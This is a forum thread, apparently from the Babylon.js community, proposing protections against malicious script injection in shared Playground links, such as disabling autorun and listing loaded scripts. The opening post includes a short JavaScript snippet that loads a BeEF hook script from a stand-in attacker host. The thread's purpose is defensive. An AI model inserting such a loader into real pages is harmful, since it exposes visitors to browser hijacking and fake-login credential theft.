Script injecting in PG

Feature requests
1

@sebavan @Deltakosh @RaananW @Evgeni_Popov @jeremy-coleman @mawa

Guys, you know about my hacking story and I’ve just realized how easily could someone inject a harmful script into any PG.

You open the PG and voila you are done…

…and allows the bad mofos to hack your browser/your network/your pcs…

    await new Promise(r => {
        var s = document.createElement("script");
        s.src = "https://hack.hack/beef.js";
        document.head.appendChild(s);
        s.onload = r;
    })

We had to do something with this, don’t you think?
Disable autorun when there is script injection?
Create a repository with injectable trusted scripts?
Warn the user that there are injected scripts and list all of them before the PG runs?
…

Thanks!

:vulcan_salute:

2

Yep, this is true - the playground is being executed automatically and “allows” code injection. But you can say that about any code in the playground, not only script injection, right? You can simply paste malicious code and share it.
We can’t scan the code for all ways of code injection, sadly. However - this evil code will run in the browser sandbox. Unless there is some browser flaw, the security risk is to the data available when you visit the playground. Since we don’t have any user data, it’s a little less of an issue.
People are very creative, I know. But you see the code that is executed. which also helps you mitigate the risk.

Of course, if there is a way for us to fully scan that, we will be happy to add some form of a security. But this is a general issue with any online code editors. I can send you bad code in the typescript playground as well, or in codesandbox or jsperf sites. It’s there, and there is little we can do about it, except to hinder user experience.

1 Like
3

The easiest approach is to not auto run script or at least propose a way to disable autorun so you can see the code before running it.

This is the same issue than any online running code environment, there is always a way to abuse it. Disabling autorun is pretty manual but at least you can eyeball before pressing the button.

4

If you want to create something really working and malicious you have to type a lot of code. The majority of the PG’s are one/two page scripts so something very different can be quite easily spotted just by looking at the code.

This is sadly not true. An injected script can fake any login window (just one of the functions Beef offers) and an inexperienced user can be fooled to type in his/her password into the fake window. Just search for some videos how Beef works. Scary.

  1. I think we could add the possibility to turn off autorun of the scripts at least so the timid ones as me can turn if off.
  2. If we could display a list of scripts to be injected upon execution as the second protection layer it would be quite nice.
  3. If there will be a clickable list of safe and common libraries to be automatically injected into the PG that would be an extra cool feature.

I started to learn cybersecurity, I read a lot about it, look at the tools/libraries so maybe I’ll find some free and trusted server side solutions for js code analysis that we could use to scan the code and warn the user.

I am willing to make a PR for this I just need to finish the previous one (non camera facing GreasedLine) which I think is at 90%. I was badly disturbed and busy by hackers in the past 3 weeks LOL.

If you discuss this topic and let me know the outcome I will gladly contribute to the PG codebase to have a more secure BabylonJS PG.

:vulcan_salute:

6

Yes, I agree. Actually, one thing I would likely consider doing is to delete this thread from the public forum. Mostly, the buggers we are dealing with in this case are opportunists, looking for an ez hack that requires little effort. I don’t think that sharing about the possible ez security breaches in a public forum is a good idea in this aspect. Of course, my opinion only and meanwhile, ALL, stay safe :shield: :sunglasses:

2 Likes
7

I agree with @mawa. Let’s delete this until we find a solution.

8

no need to delete this topic. The people who would want to use the playground “incorrectly” already know this. Stay vigilant, no matter what you load :slight_smile:

4 Likes
9

Also, security by obscurity isn’t good security. All PGs have a version number, so all official linked playgrounds are static and would be vetted with PR to docs and hopefully only loading versioned libraries from official cdns. It creates an attack vector otherwise.

For what we post in the forum or what is created - that it is open like other sources for sharing javascript. I don’t think static analysis would pick up on obfuscated ways to load malicious scripts. Maybe we could show with toast notifications or something if another script is loaded.

2 Likes